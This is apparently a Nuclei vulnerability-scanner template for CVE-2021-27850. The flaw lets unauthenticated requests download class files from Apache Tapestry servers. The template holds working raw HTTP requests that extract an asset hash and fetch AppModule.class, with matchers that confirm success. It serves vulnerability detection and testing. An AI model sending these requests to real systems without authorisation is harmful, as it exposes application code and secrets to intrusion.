id: CVE-2021-27850 info: name: Apache Tapestry - Arbitrary class download author: pdteam severity: critical description: | A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-27850 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-27850 cwe-id: CWE-502 tags: cve,cve2021,apache,tapestry requests: - raw: - | GET /assets/app/something/services/AppModule.class/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} - | GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} extractors: - type: regex regex: - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod' internal: true name: id part: header group: 1 matchers-condition: and matchers: - type: status status: - 200 - type: word words: - 'application/java' part: header - type: word words: - 'configuration' - 'webtools' part: body condition: and